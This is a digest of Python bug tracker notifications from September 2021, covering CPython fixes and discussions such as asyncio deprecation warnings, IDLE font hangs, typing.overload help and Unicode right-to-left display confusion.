<1630786710.27.0.831842772539.issue44571@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- keywords: +patch pull_requests: +26596 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28167 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:38:04 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:38:04 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630787884.92.0.969782732762.issue45097@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 2ad114ddffbeeef1d20f26571b85a66974295667 by Miss Islington (bot) in branch '3.10': [3.10] bpo-45097: Add more tests for shutdown_asyncgens() (GH-28154) (GH-28159) https://github.com/python/cpython/commit/2ad114ddffbeeef1d20f26571b85a66974295667 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:38:44 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:38:44 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630787924.61.0.00551405061326.issue45097@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:39:37 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 20:39:37 +0000 Subject: [issue45030] Integer overflow in __reduce__ of the range iterator In-Reply-To: <1630075627.02.0.307201647792.issue45030@roundup.psfhosted.org> Message-ID: <1630787977.57.0.498047220245.issue45030@roundup.psfhosted.org> miss-islington added the comment: New changeset ed9f927527e100b6d1d5758fdd9fc20b313af226 by Miss Islington (bot) in branch '3.10': bpo-45030: Fix integer overflow in __reduce__ of the range iterator (GH-28000) https://github.com/python/cpython/commit/ed9f927527e100b6d1d5758fdd9fc20b313af226 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:39:51 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 20:39:51 +0000 Subject: [issue45030] Integer overflow in __reduce__ of the range iterator In-Reply-To: <1630075627.02.0.307201647792.issue45030@roundup.psfhosted.org> Message-ID: <1630787991.31.0.165542387441.issue45030@roundup.psfhosted.org> miss-islington added the comment: New changeset fecd17fbcb68138c6535130dfca2173472d669cd by Miss Islington (bot) in branch '3.9': bpo-45030: Fix integer overflow in __reduce__ of the range iterator (GH-28000) https://github.com/python/cpython/commit/fecd17fbcb68138c6535130dfca2173472d669cd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:40:18 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:40:18 +0000 Subject: [issue45030] Integer overflow in __reduce__ of the range iterator In-Reply-To: <1630075627.02.0.307201647792.issue45030@roundup.psfhosted.org> Message-ID: <1630788018.88.0.624013665739.issue45030@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:42:46 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 20:42:46 +0000 Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9 In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org> Message-ID: <1630788166.23.0.143881677631.issue45042@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +26597 pull_request: https://github.com/python/cpython/pull/28168 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:42:44 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:42:44 +0000 Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9 In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org> Message-ID: <1630788164.13.0.58781844229.issue45042@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset dd7b816ac87e468e2fa65ce83c2a03fe1da8503e by Nikita Sobolev in branch 'main': bpo-45042: Now test classes decorated with `requires_hashdigest` are not skipped (GH-28060) https://github.com/python/cpython/commit/dd7b816ac87e468e2fa65ce83c2a03fe1da8503e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 16:51:25 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Sep 2021 20:51:25 +0000 Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9 In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org> Message-ID: <1630788685.26.0.581292372666.issue45042@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +26598 pull_request: https://github.com/python/cpython/pull/28169 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 17:04:51 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 04 Sep 2021 21:04:51 +0000 Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9 In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org> Message-ID: <1630789491.52.0.535190716802.issue45042@roundup.psfhosted.org> miss-islington added the comment: New changeset e5976dd2e6e966183da59df99978ebcb4b3a32df by Miss Islington (bot) in branch '3.10': bpo-45042: Now test classes decorated with `requires_hashdigest` are not skipped (GH-28060) https://github.com/python/cpython/commit/e5976dd2e6e966183da59df99978ebcb4b3a32df ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 17:16:59 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 21:16:59 +0000 Subject: [issue45103] IDLE: make configdialog font page survive font failures Message-ID: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org> New submission from Terry J. Reedy : There were reports on a previous issue that attempting to display some characters from some linux fonts in some distributions resulted in crashing Python. The crash reports mentioned XWindows errors about particular characters being too complex or something. I did not open an issue for this because it seemed beyond the ability of tkinter/IDLE to predict and handle. https://stackoverflow.com/questions/68996159/idle-settings-window-wont-appear reported that requesting the IDLE settings window resulting in IDLE hanging. The user used my print debug suggestion to determine that the problem was in configdialog.py at self.fontpage = FontPage(note, self.highpage) The user first thought the issue was with a chess font, and then determined that the problem font was the phaistos font from https://ctan.org/pkg/phaistos?lang=en. The font has the symbols from the Cretan Linear A script on the Disk of Phaistos. This issue is about 1. Try to reproduce the issue by downloading and installing Phaistos.otf (right click on the file and click Install). 2. If successful, trace the problem to a specific line within the FontPage class. 3. Determine whether Python code can prevent the hang or if it is completely in other code. (Either way, perhaps report to tcl/tk.) ... To remove, "open Control Panel -> Fonts then locate and select Phaistos Regular font then proceed with clicking Delete button." I did not select 'test needed' because we cannot routinely install new fonts and I am not sure of how to do an automated test if we could. However, I would add a note as to how to do a manual test. font.otf = OpenTypeFont, used on Windows, Linux, macOS. https://fileinfo.com/extension/otf It might be good test on other systems after Windows. ---------- messages: 401062 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: IDLE: make configdialog font page survive font failures type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 17:19:01 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 04 Sep 2021 21:19:01 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1630790341.49.0.427497767558.issue24612@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I think the best outcome here is to refine the syntax error. Making it behave a bit better is going to be quite a pain because of how unary "-" and "not" work on the priority level in the grammar. I also don't think that facilitating the concatenation of operators without parentheses is a good idea (for readability reasons). I will prepare a PR to improve the syntax error ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 17:33:17 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 04 Sep 2021 21:33:17 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1630791197.42.0.0307446835913.issue24612@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +26599 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28170 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 17:36:13 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 04 Sep 2021 21:36:13 +0000 Subject: [issue24893] Tk occasionally mispositions Text() insert cursor on mouse click. In-Reply-To: <1439946374.86.0.179742145584.issue24893@psf.upfronthosting.co.za> Message-ID: <1630791373.05.0.33305277139.issue24893@roundup.psfhosted.org> Terry J. Reedy added the comment: https://stackoverflow.com/questions/69038343/mouse-pointer-misaligned-when-using-python-in-idle-on-mac reports same issue with 3.9.5. I have requested details to be posted here. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 18:38:45 2021 From: report at bugs.python.org (Kevin Shweh) Date: Sat, 04 Sep 2021 22:38:45 +0000 Subject: [issue45104] Error in __new__ docs Message-ID: <1630795125.96.0.304265394784.issue45104@roundup.psfhosted.org> New submission from Kevin Shweh : The data model docs for __new__ say "If __new__() is invoked during object construction and it returns an instance or subclass of cls, then the new instance?s __init__() method will be invoked..." "instance or subclass of cls" is incorrect - if for some reason __new__ returns a subclass of cls, __init__ will not be invoked, unless the subclass also happens to be an instance of cls (which can happen with metaclasses). This should probably say something like "instance of cls (including subclass instances)", or "instance of cls or of a subclass of cls", or just "instance of cls". ---------- assignee: docs at python components: Documentation messages: 401065 nosy: Kevin Shweh, docs at python priority: normal severity: normal status: open title: Error in __new__ docs versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 21:21:27 2021 From: report at bugs.python.org (Andre Roberge) Date: Sun, 05 Sep 2021 01:21:27 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1630804887.26.0.606263591224.issue24612@roundup.psfhosted.org> Change by Andre Roberge : ---------- nosy: +aroberge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 22:15:29 2021 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Sun, 05 Sep 2021 02:15:29 +0000 Subject: [issue34093] Reproducible pyc: FLAG_REF is not stable. In-Reply-To: <1531305608.98.0.56676864532.issue34093@psf.upfronthosting.co.za> Message-ID: <1630808129.57.0.43701587014.issue34093@roundup.psfhosted.org> Change by Chih-Hsuan Yen : ---------- nosy: +yan12125 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 22:16:59 2021 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Sun, 05 Sep 2021 02:16:59 +0000 Subject: [issue34722] Non-deterministic bytecode generation In-Reply-To: <1537278827.47.0.956365154283.issue34722@psf.upfronthosting.co.za> Message-ID: <1630808219.93.0.490332408563.issue34722@roundup.psfhosted.org> Chih-Hsuan Yen added the comment: issue37596 merged a fix to enable deterministic frozensets. I think this issue can be closed? Regarding my last comment msg347820 - it seems similar to one of https://bugs.python.org/issue34033 or https://bugs.python.org/issue34093. I followed those tickets instead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Sep 4 22:36:01 2021 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Sun, 05 Sep 2021 02:36:01 +0000 Subject: [issue45097] "The loop argument is deprecated" reported when user code does not use it In-Reply-To: <1630723286.0.0.706652277145.issue45097@roundup.psfhosted.org> Message-ID: <1630809361.06.0.0460692290336.issue45097@roundup.psfhosted.org> Chih-Hsuan Yen added the comment: Many thanks for the fast and great fix! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 01:09:33 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 05 Sep 2021 05:09:33 +0000 Subject: [issue44571] itertools: takedowhile() In-Reply-To: <1625524408.64.0.445781965255.issue44571@roundup.psfhosted.org> Message-ID: <1630818573.23.0.391261510714.issue44571@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 91be41ad933e24bff26353a19f56447e17fb6367 by Raymond Hettinger in branch 'main': bpo-44571: Add itertool recipe for a variant of takewhile() (GH-28167) https://github.com/python/cpython/commit/91be41ad933e24bff26353a19f56447e17fb6367 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 01:09:45 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 05 Sep 2021 05:09:45 +0000 Subject: [issue44571] itertools: takedowhile() In-Reply-To: <1625524408.64.0.445781965255.issue44571@roundup.psfhosted.org> Message-ID: <1630818585.05.0.0928297189322.issue44571@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +26600 pull_request: https://github.com/python/cpython/pull/28173 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 01:10:54 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 05 Sep 2021 05:10:54 +0000 Subject: [issue44571] itertools: takedowhile() In-Reply-To: <1625524408.64.0.445781965255.issue44571@roundup.psfhosted.org> Message-ID: <1630818654.13.0.594078835537.issue44571@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 01:30:44 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 05 Sep 2021 05:30:44 +0000 Subject: [issue44571] itertools: takedowhile() In-Reply-To: <1625524408.64.0.445781965255.issue44571@roundup.psfhosted.org> Message-ID: <1630819844.38.0.56874405138.issue44571@roundup.psfhosted.org> miss-islington added the comment: New changeset 656b0bdfaae3a36d386afe3f7b991744528c3ff7 by Miss Islington (bot) in branch '3.10': bpo-44571: Add itertool recipe for a variant of takewhile() (GH-28167) https://github.com/python/cpython/commit/656b0bdfaae3a36d386afe3f7b991744528c3ff7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 02:17:54 2021 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Sun, 05 Sep 2021 06:17:54 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1630822674.76.0.631663357878.issue39298@roundup.psfhosted.org> Micha? G?rny added the comment: Jack, are you still working on this? I was considering allocating the time to write the bindings for the C library myself but I've stumbled upon this bug and I suppose there's no point in duplicating work. I'd love to see it on pypi, so we could play with it a bit. ---------- nosy: +mgorny _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 02:19:14 2021 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Sun, 05 Sep 2021 06:19:14 +0000 Subject: [issue40059] Provide a toml module in the standard library In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org> Message-ID: <1630822754.61.0.333394051567.issue40059@roundup.psfhosted.org> Micha? G?rny added the comment: Is there any progress happening? FWIU the common "toml" module on pypi has been discontinued now, projects are switching to yet another one and this is exactly the kind of problem a built-in module would have avoided. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 02:41:40 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 06:41:40 +0000 Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9 In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org> Message-ID: <1630824100.88.0.25944935955.issue45042@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset ab58269ab3b784bef33a613cd0a68914065a9134 by Serhiy Storchaka in branch '3.9': [3.9] bpo-45042: Now test classes decorated with `requires_hashdigest` are not skipped (GH-28060) (GH-28169) https://github.com/python/cpython/commit/ab58269ab3b784bef33a613cd0a68914065a9134 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 02:42:38 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 06:42:38 +0000 Subject: [issue45042] Many multiprocessing tests are silently skipped since 3.9 In-Reply-To: <1630234890.74.0.652972390758.issue45042@roundup.psfhosted.org> Message-ID: <1630824158.63.0.366202341145.issue45042@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 03:34:23 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 07:34:23 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630827263.74.0.257408481971.issue45102@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 28264269de9ff88d9ee7110fc56ac2d2db275bec by Serhiy Storchaka in branch 'main': bpo-45102: unittest: add tests for skipping and errors in cleanup (GH-28166) https://github.com/python/cpython/commit/28264269de9ff88d9ee7110fc56ac2d2db275bec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 03:34:25 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 05 Sep 2021 07:34:25 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630827265.1.0.741443918047.issue45102@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +26601 pull_request: https://github.com/python/cpython/pull/28174 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 03:34:29 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 05 Sep 2021 07:34:29 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630827269.65.0.447154505632.issue45102@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +26602 pull_request: https://github.com/python/cpython/pull/28175 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 03:45:09 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Sun, 05 Sep 2021 07:45:09 +0000 Subject: [issue45100] Teach help about typing.overload() In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org> Message-ID: <1630827909.25.0.426764895714.issue45100@roundup.psfhosted.org> Ronald Oussoren added the comment: I agree that this would be nice to have, but wonder how help() could access that information. The two @overload definitions will be overwritten by the non-overload one at runtime, and hence will ever been seen by help(). ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 03:55:42 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 05 Sep 2021 07:55:42 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630828542.63.0.0248514418215.issue45102@roundup.psfhosted.org> miss-islington added the comment: New changeset 8342c526e9cf138a10668fa9e487d92ee1a3a42c by Miss Islington (bot) in branch '3.10': bpo-45102: unittest: add tests for skipping and errors in cleanup (GH-28166) https://github.com/python/cpython/commit/8342c526e9cf138a10668fa9e487d92ee1a3a42c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 03:56:27 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 05 Sep 2021 07:56:27 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630828587.63.0.877530525041.issue45102@roundup.psfhosted.org> miss-islington added the comment: New changeset f91d974ce61b2a9922391f723b388a623284fb0a by Miss Islington (bot) in branch '3.9': bpo-45102: unittest: add tests for skipping and errors in cleanup (GH-28166) https://github.com/python/cpython/commit/f91d974ce61b2a9922391f723b388a623284fb0a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 04:23:30 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 05 Sep 2021 08:23:30 +0000 Subject: [issue44863] Allow TypedDict to inherit from Generics In-Reply-To: <1628363087.29.0.710236107674.issue44863@roundup.psfhosted.org> Message-ID: <1630830210.7.0.970792681827.issue44863@roundup.psfhosted.org> Ken Jin added the comment: Guido, OP has kindly written a mini PEP for this. Do you think just updating PEP 589 is sufficient, or do we need a full PEP? (PS. Changed version to 3.11 since we've missed the train for 3.10 enhancements). ---------- versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 04:29:08 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 05 Sep 2021 08:29:08 +0000 Subject: [issue45100] Teach help about typing.overload() In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org> Message-ID: <1630830548.35.0.807317350818.issue45100@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 06:19:42 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 10:19:42 +0000 Subject: [issue45102] unittest: add tests for skipping and errors in cleanup In-Reply-To: <1630785673.23.0.15068608045.issue45102@roundup.psfhosted.org> Message-ID: <1630837182.52.0.211147621399.issue45102@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 07:12:09 2021 From: report at bugs.python.org (Max Bachmann) Date: Sun, 05 Sep 2021 11:12:09 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 Message-ID: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> New submission from Max Bachmann : I noticed that when using the Unicode character \U00010900 when inserting the character as character: Here is the result on the Python console both for 3.6 and 3.9: ``` >>> s = '0?00' >>> s '0?00' >>> ls = list(s) >>> ls ['0', '?', '0', '0'] >>> s[0] '0' >>> s[1] '?' >>> s[2] '0' >>> s[3] '0' >>> ls[0] '0' >>> ls[1] '?' >>> ls[2] '0' >>> ls[3] '0' ``` It appears that for some reason in this specific case the character is actually stored in a different position that shown when printing the complete string. Note that the string is already behaving strange when marking it in the console. When marking the special character it directly highlights the last 3 characters (probably because it already thinks this character is in the second position). The same behavior does not occur when directly using the unicode point ``` >>> s='000\U00010900' >>> s '000?' >>> s[0] '0' >>> s[1] '0' >>> s[2] '0' >>> s[3] '?' ``` This was tested using the following Python versions: ``` Python 3.6.0 (default, Dec 29 2020, 02:18:14) [GCC 10.2.1 20201125 (Red Hat 10.2.1-9)] on linux Python 3.9.6 (default, Jul 16 2021, 00:00:00) [GCC 11.1.1 20210531 (Red Hat 11.1.1-3)] on linux ``` on Fedora 34 ---------- components: Unicode messages: 401078 nosy: ezio.melotti, maxbachmann, vstinner priority: normal severity: normal status: open title: Incorrect handling of unicode character \U00010900 type: behavior versions: Python 3.6, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 07:18:39 2021 From: report at bugs.python.org (Max Bachmann) Date: Sun, 05 Sep 2021 11:18:39 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630840719.43.0.824201345283.issue45105@roundup.psfhosted.org> Max Bachmann added the comment: This is the result of copy pasting example posted above on windows using ``` Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)] on win32 ``` which appears to run into similar problems: ``` >>> s = '0??00' >>> s '0?00' >>> ls = list(s) >>> ls ['0', '?', '0', '0'] >>> s[0] '0' >>> s[1] '?' ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 07:39:08 2021 From: report at bugs.python.org (Alex Waygood) Date: Sun, 05 Sep 2021 11:39:08 +0000 Subject: [issue45100] Teach help about typing.overload() In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org> Message-ID: <1630841948.3.0.100101781855.issue45100@roundup.psfhosted.org> Alex Waygood added the comment: There is a similar issue with `functools.singledispatch` ``` >>> from functools import singledispatch >>> @singledispatch ... def flip(x: str) -> int: ... """Signature when given a string""" ... return int(x) ... >>> @flip.register ... def _(x: int) -> str: ... """Signature when given an int""" ... return str(x) ... >>> flip(5) '5' >>> flip('5') 5 >>> help(flip) Help on function flip in module __main__: flip(x: str) -> int Signature when given a string ``` ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 08:38:03 2021 From: report at bugs.python.org (Diego Ramirez) Date: Sun, 05 Sep 2021 12:38:03 +0000 Subject: [issue44892] [configparser] Module configparser fails when the config file contains a "%" inside a commentary In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org> Message-ID: <1630845483.56.0.180545101792.issue44892@roundup.psfhosted.org> Diego Ramirez added the comment: Any commentaries about this issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 08:39:03 2021 From: report at bugs.python.org (Diego Ramirez) Date: Sun, 05 Sep 2021 12:39:03 +0000 Subject: [issue45100] Teach help about typing.overload() In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org> Message-ID: <1630845543.73.0.855138983454.issue45100@roundup.psfhosted.org> Change by Diego Ramirez : ---------- nosy: +DiddiLeija _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 08:39:39 2021 From: report at bugs.python.org (Diego Ramirez) Date: Sun, 05 Sep 2021 12:39:39 +0000 Subject: [issue44892] [configparser] Module configparser fails when the config file contains a "%" inside a commentary In-Reply-To: <1628713941.43.0.342717269726.issue44892@roundup.psfhosted.org> Message-ID: <1630845579.08.0.0297957898737.issue44892@roundup.psfhosted.org> Change by Diego Ramirez : ---------- type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 08:53:10 2021 From: report at bugs.python.org (Eryk Sun) Date: Sun, 05 Sep 2021 12:53:10 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630846390.76.0.861212272304.issue45105@roundup.psfhosted.org> Eryk Sun added the comment: AFAICT, there is no bug here. It's just confusing how Unicode right-to-left characters in the repr() can modify how it's displayed in the console/terminal. Use the ascii() representation to avoid the problem. > The same behavior does not occur when directly using the unicode point > ``` > >>> s='000\U00010900' The original string has the Phoenician right-to-left character at index 1, not at index 3. The "0" number characters in the original have weak directionality when displayed. You can see the reversal with a numeric sequence that's separated by spaces. For example: s = '123\U00010900456' >>> print(*s, sep='\n') 1 2 3 ? 4 5 6 >>> print(*s) 1 2 3 ? 4 5 6 Latin letters have left-to-right directionality. For example: >>> s = '123\U00010900abc' >>> print(*s) 1 2 3 ? a b c You can check the bidirectional property [1] using the unicodedata module: >>> import unicodedata as ud >>> ud.bidirectional('\U00010900') 'R' >>> ud.bidirectional('0') 'EN' >>> ud.bidirectional('a') 'L' --- [1] https://en.wikipedia.org/wiki/Unicode_character_property#Bidirectional_writing ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 09:08:09 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 05 Sep 2021 13:08:09 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630847289.91.0.731347643307.issue45105@roundup.psfhosted.org> Steven D'Aprano added the comment: I'm afraid I cannot reproduce the problem. >>> s = '000?' # \U00010900 >>> s '000?' >>> s[0] '0' >>> s[1] '0' >>> s[2] '0' >>> s[3] '?' >>> list(s) ['0', '0', '0', '?'] That is using Python 3.9 in the xfce4-terminal. Which xterm are you using? I am very confident that it is a bug in some external software, possibly the xterm, possibly the browser or other application where you copied the PHOENICIAN LETTER ALF character from in the first place. It looks like it is related to mishandling of the Right-To-Left character: >>> unicodedata.bidirectional(s[3]) 'R' Using Firefox, when I attempt to select the text s = '000...' in Max's initial message with the mouse, the selection highlighting jumps around. See the screenshot attached. (selection.png) Depending on how I copy the text, sometimes I get '000 ALF' and sometimes '0 ALF 00' which hints that something is getting confused by the RTL character, possibly the browser, possible the copy/paste clipboard, possibly the terminal. But regardless, I cannot replicate the behaviour you show where list(s) is different from indexing the characters one by one. It is very common for applications to mishandle mixed RTL and LTR characters, and that can have all sorts of odd display and copy/paste issues. ---------- nosy: +steven.daprano Added file: https://bugs.python.org/file50260/selection.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 09:10:21 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 13:10:21 +0000 Subject: [issue45026] More compact range iterator In-Reply-To: <1630033413.29.0.592444888293.issue45026@roundup.psfhosted.org> Message-ID: <1630847421.23.0.0744352434651.issue45026@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +26603 pull_request: https://github.com/python/cpython/pull/28176 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 